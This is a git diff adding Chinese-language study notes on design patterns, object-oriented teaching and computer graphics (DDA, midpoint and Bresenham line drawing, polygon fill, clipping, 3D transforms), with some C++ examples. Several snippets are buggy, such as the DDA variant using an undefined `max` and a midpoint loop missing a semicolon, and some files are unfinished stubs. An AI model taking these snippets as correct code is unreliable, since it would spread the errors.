"b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\273\272\351\200\240\350\200\205\346\250\241\345\274\217.md" @@ -0,0 +1,21 @@ +# 建造者模式 + +**英文**: Builder pattern. + +用于构建复杂的对象. + +```cpp +class Builder +{ +} +``` + +TODO + +## 实例 + +- . + +## 参见 + +- . \ No newline at end of file diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\347\233\256\345\275\225.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\347\233\256\345\275\225.md" new file mode 100644 index 000000000..cd983ef1a --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\347\233\256\345\275\225.md" @@ -0,0 +1,34 @@ +# 目录 + +## Creational patterns + +- [单例模式](单例模式.md) (Singleton pattern). +- [建造者模式](建造者模式.md) (Builder pattern). +- 工厂方法模式 (Factory method). +- 抽象工厂模式 (Abstract factory). +- 原型模式 (Prototype pattern). +- 简单工厂. + +## Structural patterns + +- 适配器模式 (Adapter pattern, Wrapper/Translator). +- 桥接模式 (Bridge pattern). +- 组合模式 (Composite pattern). +- 装饰模式 (Decorator pattern). +- 外观模式 (Façade pattern). +- 享元模式 (Flyweight pattern). +- 代理模式 (Proxy pattern). + +## Behavioral patterns + +- [命令模式](命令模式.md) (Command pattern). +- 责任链模式 (Chain of Responsibility pattern). +- 观察者模式 (Observer pattern). +- 解释器模式 (Interpreter pattern). +- [迭代器模式](迭代器模式.md) (Iterator pattern). +- 中介者模式 (Mediator pattern). +- 备忘录模式 (Memento pattern). +- 状态模式 (State pattern). +- 策略模式 (Strategy pattern). +- 模板方法模式 (Template method). +- 访问者模式 (Visitor pattern). diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\350\277\255\344\273\243\345\231\250\346\250\241\345\274\217.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\350\277\255\344\273\243\345\231\250\346\250\241\345\274\217.md" new file mode 100644 index 000000000..8227f9f79 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\350\277\255\344\273\243\345\231\250\346\250\241\345\274\217.md" @@ -0,0 +1,126 @@ +# 迭代器模式 + +**英文**: Iterator pattern. + +## 描述 + +迭代器类似自定义的指针, 拥有和指针类似的使用方式, 但却允许不同数据结构以相同的方法进行遍历. + +以数组和链表为例, 数组的元素在内存中是紧密相连的, 但链表在内存中不是紧密相连的, 因此两者获取下一个元素的方法不同. 迭代器则用于封装这部分代码, 使不同数据结构可以使用相同的方法进行遍历. + +下面简单实现了一个数组并提供了迭代器. 由于此时迭代器的行为和指针最接近, 所以代码最简单易懂. + +```cpp +#include +#include +#include + +// 堆上的数组 +class Array +{ +public: + using value_type = int; + class iterator + { + public: + using value_type = Array::value_type; // 提供类系信息, 供 STL 算法使用 + + iterator(value_type* ptr) : ptr(ptr) {} + + // 模拟指针的(部分)操作 + bool operator==(const iterator& rhs) const { return ptr == rhs.ptr; } + bool operator!=(const iterator& rhs) const { return !(*this == rhs); } + iterator& operator++() { ptr++; return *this; } + iterator operator++(int) { auto t = *this; ++(*this); return t; } + value_type& operator*() { return *ptr; } + + private: + value_type* ptr; + }; + + explicit Array(std::size_t size) + : data(new value_type[size * sizeof(value_type)]), size(size) + {} + + virtual ~Array() { delete[] data; } + + iterator begin() { return iterator(data); } + iterator end() { return iterator(data + size); } + +private: + value_type* data; + std::size_t size; +}; + +int main() +{ + Array arr(5); + + std::iota(arr.begin(), arr.end(), 0); // 使用 C++ STL 算法 + + // 当作指针使用 + for(auto it = arr.begin(); it != arr.end(); it++) + std::cout << *it << " "; + std::cout << '\n'; + + // 使用 C++ for-each + for(auto it : arr) + std::cout << it << " "; + std::cout << '\n'; + + return 0; +} +``` + +执行结果: + +``` +0 1 2 3 4 +0 1 2 3 4 +``` + +可见实现了迭代器不仅能使遍历方法保持一致, 而且还能配合 C++ 的 STL 和 for-each 使用. + +上面容器使用的数据结构是数组, 但可以换成链表等其他数据结构. + +## STL 算法 + +但上方这种完全自定义的迭代器却不能很好的适应 STL 算法. +下面提供一种迭代器算法的简单实现: + +```cpp +template +auto distance(Iter first, Iter last) +{ + typename Iter::value_type result = 0; + for(; first != last; ++first) + result++; + return result; +} +``` + +上面的代码即适用于数组, 又适用于链表等其他数据结构实现的容器. 使用迭代器进行遍历时, STL 算法无需在意容器的内部实现. +但若用在数组等结构上会存在效率问题, 因为数组元素紧密相连的特点, 实现 distance 有更加简单/高效的算法. 可以根据数据结构的特性对其迭代器进行分类, 以便采用合适的算法. +下面是 std::distance 的一种实现: + +```cpp +template +constexpr std::iter_difference_t distance(Iter first, Iter last) +{ + if constexpr(std::random_access_iterator) + return last - first; + else + { + std::iter_difference_t result{}; + for (; first != last; ++first) + ++result; + return result; + } +} +``` + +可以看出改算法根据[迭代器的类型](https://en.cppreference.com/w/cpp/iterator/iterator_tags)选择了合适的具体算法. + +## 参见 + +- [std::iterator is deprecated: Why, What It Was, and What to Use Instead - Fluent C++ (fluentcpp.com)](https://www.fluentcpp.com/2018/05/08/std-iterator-deprecated/). diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213.md" new file mode 100644 index 000000000..9ba3ad11f --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213.md" @@ -0,0 +1,61 @@ +# 面向对象编程 + +**英文**: Object-Oriented Programming. + +## 三个特征 + +- **封装**: 提高了类的易用性. +- **继承**: 提高了代码的复用率. +- **多态**: 提高了程序的可拓展性. + +不同编程语言实现三个特征的方式不同, 比如: + +- C++ 和 Java 是基于类 (Class) 的面向对象. +- JavaScript 是基于原型 (Prototype) 的面向对象. +- Lua 是基于原表 (Meta Table) 的面向对象. + +## 优点 + +- 易于维护. +- 可重用性. +- 可拓展性. + +## 缺点 + +- 不太适用于嵌入式开发. +- 性能略低于面向过程编程. + +## 教学 + +以下说明几个教学中普遍存在的问题: + +1. 比喻滥用 + + 使用生活中的经验与面向对象概念进行类比是一种常见的做法, 但部分例子虽然使用到了学生所熟悉的事务, 但却缺少和编程之间的联系. + 从而使学生感到疑惑, 进而增加理解难度. + 下面是此类不当比喻的常见例子: + + > 汽车类, 汽车有踩刹车和踩油门等操作, 具有颜色和重量等属性. + + 在现实世界中, 软件无法通过修改属性来改变车辆的颜色或重量. 若该车辆位于虚拟世界中, 这个比喻将合理许多. + + **面向对象是一种编程范式 (programming paradigm)**, 而严重脱离编程实际的类比对学生理解核心概念没有帮助. + +2. 术语滥用 + + 面向对象存在较多的专业术语, 在讲解时应注意依赖关系. 确保由简到难, 由浅入深. + 部分教师故直接尝试使用高度抽象的描述和大量的专业术语来解释面向对象, 使学生一头雾水. + + 不同领域同名术语可能具有不同的含义, 比如 C++ 的 "对象"[^1] 和面向对象中的 "对象" 的定义是不同的. + +3. 边界模糊 + + 部分概念并不属于面向对象. 比如 "万物皆对象", 这一概念只适用于部分面向对象的编程语言 (如 Java). + + 应该使学生认识到类只是实现面向对象的方法之一. + +## 参见 + +- *面向对象是怎样工作的(第2版)* ISBN: 978-7-115-54123-9. + +[^1]: diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/0_\347\233\256\345\275\225.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/0_\347\233\256\345\275\225.md" new file mode 100644 index 000000000..67a51c690 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/0_\347\233\256\345\275\225.md" @@ -0,0 +1,24 @@ +# 目录 + +1. [绪论](1_绪论.md) +2. 光栅图形学 + 1. [直线段光栅化](2_光栅图形学/1_直线段光栅化.md) + 2. [多边形光栅化](2_光栅图形学/2_多边形光栅化.md) + 3. 圆弧光栅化 + 4. [区域填充算法](2_光栅图形学/4_区域填充算法.md) + 5. [反走样技术](2_光栅图形学/5_反走样技术.md) + 6. [裁剪算法](2_光栅图形学/6_裁剪算法.md) +3. 几何变换 + 1. 齐次坐标 + 2. [三维几何变换](3_几何变换/2_三维几何变换.md) +4. [三维观察](4_三维观察.md) +5. 三维造型 +6. 真实感图形学 + 1. [消隐算法](6_真实感图形学/1_消隐算法.md) + 2. 光照 + 1. [光照模型](6_真实感图形学/2_光照/1_光照模型.md) + 2. [延迟渲染](6_真实感图形学/2_光照/2_延迟渲染.md) + 3. 着色 + 4. 光线追踪 + 5. 纹理映射 +7. [参考](7_参考.md) diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/1_\347\273\252\350\256\272.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/1_\347\273\252\350\256\272.md" new file mode 100644 index 000000000..9937030d6 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/1_\347\273\252\350\256\272.md" @@ -0,0 +1,29 @@ +# 绪论 + +## 定义 + +**ISO**: 计算机图形学是研究通过计算机将数据转换为图形, 并在专门显示设备上显示的原理/方法和技术的学科. +**IEEE**: 计算机图形学是利用计算机产生图形图像的艺术或科学. + +## 发展简史 + +1. 计算机图形学诞生 1950-1960. +2. 线框图形学 1960-1970. +3. 光栅图形学 1970-1980. +4. 真实感图形学 1980-1990. + +## 渲染管线 (图形流水线) + +``` +应用程序 -> 顶点缓冲区 -> 顶点着色器 -> 光栅化器 -> 片段着色器 -> 帧缓冲区 + CPU -> | <- GPU | + 3D -> | <- 2D +``` + +## 坐标系 + +- 右手坐标系: $\vec{x} \times \vec{y} = \vec{z}$. + + $\vec{x} \times \vec{y} = \vec{z}, \vec{z} \times \vec{x} = \vec{y}, \vec{y} \times \vec{z} = \vec{x}$ + +- 左手坐标系: $\vec{x} \times \vec{y} = -\vec{z}$. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/1_\347\233\264\347\272\277\346\256\265\345\205\211\346\240\205\345\214\226.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/1_\347\233\264\347\272\277\346\256\265\345\205\211\346\240\205\345\214\226.md" new file mode 100644 index 000000000..803ec17f7 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/1_\347\233\264\347\272\277\346\256\265\345\205\211\346\240\205\345\214\226.md" @@ -0,0 +1,183 @@ +# 直线段光栅化 + +**别名**: 直线扫描转换算法. + +该部分算法用于将直线段的顶点表示转换为点阵表示, 该过程被称为直线段的"光栅化". + +## 数值微分法(Digital Differential Analyzer, DDA) + +### 理论 + +**思想**: 增量. +因为光栅的光学器件等宽等间距, 所以在绘制线段的过程中, x 的增量恒为 1. 只要通过直线的斜截式计算出斜率 k, 即可只通过两次浮点数加法 (包括四舍五入的) 得出下一个点的坐标. +**公式 1**: y = k * x + b, k = Δy / Δx (直线的斜截式方程) + +### 实现 + +```cpp +void drawLine(Point2 start, Point2 end) +{ + const float dx = end.x - start.x; + const float dy = end.y - start.y; + const float k = dy / dx; + + float y = start.y; + for(int x = (int)std::round(start.x); x <= end.x; x++) // 对 x 四舍五入取整. + { + drawPoint(x, (int)std::round(y)); + y += k; + } +} +``` + +当线段平行于 y 轴时, 变量 `dx` 为零, 而零作为除数没有意义. 因此该实现只适用于线段不与 y 轴平行的情况. +四舍五入的不完整简单实现方法有加上 0.5 然后再取整, 此处使用 `std::round` 以确保代码的正确性. + +### 完善 + +```cpp +void drawLine(Point2 start, Point2 end) +{ + const float dx = end.x - start.x; + const float dy = end.y - start.y; + const float dm = std::max(dx, dy); + const float kx = max / dx; + const float ky = max / dy; + + float x = start.x, y = start.y; + for(int i = 0; i < dm; i++) + { + drawPoint((int)std::round(x), (int)std::round(y)); + x += kx, y += ky; + } +} +``` + +上面的实现效率较低, 但适用于各种情况. + +```cpp +void drawLine(Point2 start, Point2 end) +{ + const float dx = end.x - start.x; + const float dy = end.y - start.y; + + if(std::abs(dx) < std::abs(dy)) // k > 1 + { + const float k = dx / dy; + float x = start.x; + for(int y = (int)std::round(start.y); y <= end.y; y++) + { + drawPoint((int)std::round(x), y); + x += k; + } + } + else if(std::abs(dx) > std::abs(dy)) // k < 1 + { + const float k = dy / dx; + float y = start.y; + for(int x = (int)std::round(start.x); x <= end.x; x++) + { + drawPoint(x, (int)std::round(y)); + y += k; + } + } + else // k == 1 + { + int y = (int)std::round(start.y); + for(int x = (int)std::round(start.x); x <= end.x; x++, y++) + drawPoint(x, y); + } +} +``` + +上面的实现对斜率进行分类讨论, 针对不同情况使用单独的略有不同的实现. 可以通过交换 start 与 end 的 x 和 y 坐标精简代码, 但可能会影响可读性此处没有采用. + +## 中点分割法 + +### 理论 + +DDA 绘制一个点平均使用两至三个浮点数加法. 浮点数加法慢与整数加法, 若能使用整数加法替代浮点数加法可以得到更高的性能. +该算法利用直线的一般式, 完全使用整数加法. +设 F(x, y) = Ax + By + C, 根据直线的一般式可得: + +- 若点位于直线上方, 则 F(x, y) > 0. +- 若点位于直线上, 则 F(x, y) = 0. +- 若点位于直线下方, 则 F(x, y) < 0. + +![Figure-0](assets/中点分割法.png){ width=60% style="display: block; margin: 0 auto" } + +每次向最大位移方向上累加一个单元, 通过中点误差项判断是否往另一个方向累加一个单元. 若 0 <= |k| <= 1, 即|Δx| > |Δy|, 每次循环时 x 坐标累加 1, y 坐标是否累加 1 取决于线段与 x = x(变量) 交点 Q 的位置, 离点 Pd(x + 1, y) 更近还是点 Pu(x + 1, y + 1). 这将通过把这两点的中点 M 带入 F(x, y) 后判断其正负性. 若 F(x, y) < 0, 则表示中点位于交点 Q 的下方, 即交点 Q 位于中点 M 上方, 更接近于点 (x, y + 1). +**公式 2**: Ax + By + C = 0, A = -(Δy), B = Δx, C = -B(Δx) (直线的一般式方程) + +### 实现 + +```cpp +void drawLine(Point2 start, Point2 end) +{ + const auto dx = end.x - start.x; + const auto dy = end.y - start.y; + + const auto a = -dy, b = dx, c = -b * dx; + auto f = [a, b, c](int x, int y){ return a * x + b * y + c; }; + + int y = (int)std::round(start.y); + for(int x = (int)std::round(start.x); x <= end.x; x++) + { + drawPoint(x, y); + auto d = f(x + 1, y + 0.5f); + y += d < 0; // if(d < 0) y++; + } +} +``` + +上面实现效率低下, 主要有以下几点可以改进的部分: + +- 主要的计算工作在 lambda 函数 f 中, 用以计算 d. 若推导出 d 值的递推公式, 则可以删减这部分计算. + - 若上一次计算的 d >= 0, 上一个中点为 0(x, y + 0.5), 下一个中点为 M1(x + 1, y + 0.5) 带入 F 可以看出 A 的系数增加了 1, B 的系数加了 1. 所以 F(M1) - F(M0) = A + B, 即 d1 - d0 = A + B, d1 = d0 + A + B. + - 若上一次计算的 d < 0, 上一个中点为 M0(x, y + 0.5), 下一个中点为 M1(x + 1, y + 0.5), 带入 F 可以看出 A 的系数增加了 1, B 的系数不变. 所以 F(M1) - F(M0) = A, 即 d1 - d0 = A, d1 = d0 + A. + + 由此可知可以通过增量计算出下一个 d 的值, 而不需要每次都将中点带入函数 F 计算. d 的初始值 d0 可以通过以下方式计算. + d0 = F(x0 + 1, y0 + 0.5) = F(x0, y0) + A + 0.5B. + 因为 (x0, y0) 为直线起始点, 位于直线上, 所以 F(x0, y0) = 0. 所以 d0 = A + 0.5B. +- 求 d0 以及每次将中点 M 的值代入函数 F 中时, 需要进行一次浮点数加法. 由于 d 只被用于判断其正负性, 所有可以通过乘以2来消除浮点数加法 (0.5f * 2 = 1). + +综上所述, 可以得到以下面实现. + +```cpp +void drawLine(Point2 start, Point2 end) +{ + const auto dx = end.x - start.x; + const auto dy = end.y - start.y; + const auto a = -dy, b = dx; + int dd = a + a + b + b; // 2 * d0 = 2 * (A + B) + + int y = (int)std::round(start.y) + for(int x = (int)std::round(start.x); x <= end.x; x++) + { + drawPoint(x, y); + if(dd < 0) + { + y++; + dd += a + a + b + b; // 2 * (A + B) + } + else + dd += a + a; // 2 * A + } +} +``` + +不过上面的实现明显并不适用于斜率大于 1 的线段, 因为每次循环 x 累加 1, 却只会调用一次 drawPoint. 如果强行使用这类实现绘制斜率大于 1 的线段, 将会发现绘制出的线段在 y 轴方向上不连续. 若要实现可绘制各种线段的, 可以参考 DDA 部分的解决方案. + +## Bresenham 算法 + +**背景**: 该算法由 E. Jack Bresenham 提出, 该算法是其最著名的发明. + +### 理论 + +![Figure-1](assets/Bresenham.png) +由 Figure-1 可以看出 d 的计算方法为: + +```cpp +d += k; +d -= d >= 1; // if(d >= 1) d--; +``` diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/2_\345\244\232\350\276\271\345\275\242\345\205\211\346\240\205\345\214\226.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/2_\345\244\232\350\276\271\345\275\242\345\205\211\346\240\205\345\214\226.md" new file mode 100644 index 000000000..c54d153f8 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/2_\345\244\232\350\276\271\345\275\242\345\205\211\346\240\205\345\214\226.md" @@ -0,0 +1,27 @@ +# 多边形光栅化 + +**别名**: 多边形扫描转换算法. + +该部分算法用于将多边形的顶点表示转换为点阵表示, 该过程被称为多边形的"光栅化". +多边形可分为下面几类: + +- 凸多边形: 任意两点间连线均在多边形内. +- 凹多边形: 任意两点间连线均有不在多边形内. +- 含内环的多边形: 多边形内包含多边形. + +## X-扫描线算法 + +以一条平行与光栅网格的扫描线, 逐步从多边形任意一个轴的最大值扫描到最小值. 求出所有与多边形线段相交的顶点, 进而得出扫描线与多边形相交的区间. 最后填充这些区间. +假设扫描线与x轴平行, 大致可分为一下几个步骤: + +1. 确定扫描范围: 多边形顶点y的最大值和y的最小值. +2. 扫描. + a. 求交: 获取扫描线与多边形各边的交点. + b. 排序: 将这些交点按x坐标升序排列. + c. 配对: 第一个交点与第二个交点配对形成一个相交区间, 第三个交点和第四个交点配对形成一个相交区间, 以此类推. + d. 填色: 填充这些相交区间. + +若扫描线与多边形顶点相交, 为确保顶点正常匹配, 需要保证顶点个数为偶数. 若共享顶点的两条边分别落在扫描线的两侧时, 算作一个交点; 两条边都位于扫描线上方时, 算作两个交点; 两条边都位于下方时, 算作零个顶点. 即共享顶点两条边位于扫描线上方的个数即为应该判定的交点个数. + +!!! question + 可不可以通过直线扫描转换算法计算出所有的点, 然后同一 y 坐标的点根据 x 坐标排序. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/4_\345\214\272\345\237\237\345\241\253\345\205\205\347\256\227\346\263\225.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/4_\345\214\272\345\237\237\345\241\253\345\205\205\347\256\227\346\263\225.md" new file mode 100644 index 000000000..6ba79603d --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/4_\345\214\272\345\237\237\345\241\253\345\205\205\347\256\227\346\263\225.md" @@ -0,0 +1,11 @@ +# 区域填充算法 + +## 种子填充算法 + +**别名**: 递归区域填充算法. + +将区域内的一点(种子点)予以指定的颜色, 然后将这种颜色扩展到整个区域内. 该算法作用于以点阵方式表示的图形. 类似 Windows 画图的 '颜料桶' 功能. +区域可分为 四向连通区域 和 八向连通区域. 四向包含了上/下/左/右四个方向, 而八向在四向的基础上还包含了左上/右上/左下/右下共八个方向. 四向连通区域是指从该区域的仍以一点出发, 可通过四个方向移动的组合, 到达区域内的任意一点, 八向连通区域类似. + +- 递归算法: 类似深度优先搜索(Depth First Search, DFS)算法. 简而言之, 算法简单, 效率低下(占空间, 耗时间). +- 扫描线算法. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/5_\345\217\215\350\265\260\346\240\267\346\212\200\346\234\257.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/5_\345\217\215\350\265\260\346\240\267\346\212\200\346\234\257.md" new file mode 100644 index 000000000..f8c48e2bf --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/5_\345\217\215\350\265\260\346\240\267\346\212\200\346\234\257.md" @@ -0,0 +1,36 @@ +# 反走样技术 (Antialiasing) + +**别名**: 抗锯齿. + +走样 (aliasing) 是光栅显示的一种固有性质. 产生的原因是像素本质上的离散性, 因此走样是无法避免的. 走样产生的现象主要有: + +- 图形产生锯齿状边缘, 呈"阶梯"状. +- 相对微小的物体容易在静态图形中被丢弃. +- 在动画序列中图像产生闪烁, 时隐时现. + +通过"模糊"边界之间的颜色变换, 可以使得锯齿状的边界不那么明显, 看上去更加平滑. 具体的实现有以下两种方法: + +- 非加权区域采样方法. + + 根据覆盖度 (coverage) 计算像素的颜色, 覆盖率指某个像素区域被物体覆盖的比例. 但由于每次只考虑一个像素区域所以效果有限. + +- 加权区域采样方法. + + 影响到多个像素区域, 因此效果更佳. + +## 超采样抗锯齿 (Super-sampled antialiasing, SSAA) + +**别名**: 全屏抗锯齿 (Full-screen antialiasing, FSAA) + +把场景渲染至比实际屏幕大的缓冲区中, 再将图像向下采样 (downsample) 至目标分辨率. 在 4x 超采样中, 渲染图像长宽各为 2 倍, 帧缓冲区占 4 倍显存, 需要 4 倍 GPU 性能. 因为 FSAA 过于昂贵, 很少用于实际场合. + +## 多采样抗锯齿 (Multi-sampled antialiasing, MSAA) + +能提供近似 FSAA 的效果, 但消耗相对少得多的 GPU 性能 (显存占用一样多). +但是当在三角形数量大于像素数量的场景中该方法可能失效. + +- 快速近似抗锯齿 (Fast Approximate Anti-aliasing, FXAA). +- 时间混叠抗锯齿 (Temporal Anti-Aliasing, TXAA). +- 覆盖采样抗锯齿 (coverage sample antialiasing, CSAA). +- 形态学抗锯齿 (Morphological antialiasing, MLAA). +- 深度学习抗锯齿 (Deep Learning Anti-Aliasing, DLAA). diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/6_\350\243\201\345\211\252\347\256\227\346\263\225.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/6_\350\243\201\345\211\252\347\256\227\346\263\225.md" new file mode 100644 index 000000000..2ff36ada2 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/6_\350\243\201\345\211\252\347\256\227\346\263\225.md" @@ -0,0 +1,37 @@ +# 裁剪算法 + +## 直线段裁剪算法 + +该算法是复杂图形裁剪的基础. +直线段与裁剪窗口可能的位置关系: + +1. 完全落在窗口内: 保留直线段, 称为"简取". +2. 与窗口边界相交: 继续对直线段进行截取. +3. 完全落在窗口外: 丢弃直线段, 称为"简弃". + +算法的设计将围绕这三种主要关系展开. + +## Cohen-Sutherland 算法 + +**思想**: 编码. + +1. 将直线段的两个端点分别赋予一个 4 位二进制编码 ([D3, D2, D1, D0]) code1 和 code2, 表示其相对于窗口的位置. + 其中 D0 对应窗口左边界, D1 对应有边界, D2 对应下边界, D3 对应上边界. 若在对应窗口边界外则该位为 1, 否则为 0. +2. 若 code1 | code2 = 0, 则简取之: 两端点皆在窗口内, 全部保留. + 该位运算判断 code1 和 code2 之间是否有为 1 的位, 有则代表有至少一个端点在窗口边界外. +3. 若 code1 & code2 != 0, 则简弃之: 两端点皆在窗口外, 全部舍去. + 该位运算判断 code1 与 code2 是否有相同的位都为 1, 有则代表两个端点至少都位于窗口同一条边界外, 所以直线段完全落在窗口外. 但如果两个端点分别落在窗口两个边界之外且不与窗口相交的情况则没有被考虑到. +4. 否则, 直线段与窗口相交. 将直线段从交点处一分为二, 分别再带入该算法进行裁剪. + 最终, 被分割为若干段的直线段都会分别满足简取或简弃的条件. + +!!! question + 能不能用交点代替端点. + +## 中点分割法 + +**思想**: 编码, 二分逼近. +先对端点进行编码和分类, 与 Cohen-Sutherland 算法的 1-3 步骤相同. 然后将直线段通过中点一分为二. + +## Liang-Barsky 算法 + +**背景**: 该算法由梁友栋先生 (浙江大学) 和 Brian A. Barsky 博士 (加州伯克利分校) 提出. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/assets/Bresenham.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/assets/Bresenham.png" new file mode 100644 index 000000000..6b7986b5a Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/assets/Bresenham.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/assets/\344\270\255\347\202\271\345\210\206\345\211\262\346\263\225.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/assets/\344\270\255\347\202\271\345\210\206\345\211\262\346\263\225.png" new file mode 100644 index 000000000..c231556e8 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/2_\345\205\211\346\240\205\345\233\276\345\275\242\345\255\246/assets/\344\270\255\347\202\271\345\210\206\345\211\262\346\263\225.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/3_\345\207\240\344\275\225\345\217\230\346\215\242/2_\344\270\211\347\273\264\345\207\240\344\275\225\345\217\230\346\215\242.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/3_\345\207\240\344\275\225\345\217\230\346\215\242/2_\344\270\211\347\273\264\345\207\240\344\275\225\345\217\230\346\215\242.md" new file mode 100644 index 000000000..32119cc29 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/3_\345\207\240\344\275\225\345\217\230\346\215\242/2_\344\270\211\347\273\264\345\207\240\344\275\225\345\217\230\346\215\242.md" @@ -0,0 +1,180 @@ +# 三维几何变换 + +## 基本变换 + +### 平移变换 + +$$ +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + 1 & 0 & 0 & t_x \\ + 0 & 1 & 0 & t_y \\ + 0 & 0 & 1 & t_z \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +### 旋转变换 + +- 绕 x 轴旋转. + + $$ + \begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 + \end{bmatrix} + = + \begin{bmatrix} + 1 & 0 & 0 & 0 \\ + 0 & cosθ & -sinθ & 0 \\ + 0 & sinθ & cosθ & 0 \\ + 0 & 0 & 0 & 1 + \end{bmatrix} + \begin{bmatrix} + x \\ + y \\ + z \\ + 1 + \end{bmatrix} + $$ + +- 绕 y 轴旋转. + + $$ + \begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 + \end{bmatrix} + = + \begin{bmatrix} + cosθ & 0 & sinθ & 0 \\ + 0 & 1 & 0 & 0 \\ + -sinθ & 0 & cosθ & 0 \\ + 0 & 0 & 0 & 1 + \end{bmatrix} + \begin{bmatrix} + x \\ + y \\ + z \\ + 1 + \end{bmatrix} + $$ + +- 绕 z 轴旋转. + + $$ + \begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 + \end{bmatrix} + = + \begin{bmatrix} + cosθ & -sinθ & 0 & 0 \\ + sinθ & cosθ & 0 & 0 \\ + 0 & 0 & 1 & 0 \\ + 0 & 0 & 0 & 1 + \end{bmatrix} + \begin{bmatrix} + x \\ + y \\ + z \\ + 1 + \end{bmatrix} + $$ + +### 缩放变换 + +$$ +\begin{bmatrix} + x' \\ + y' 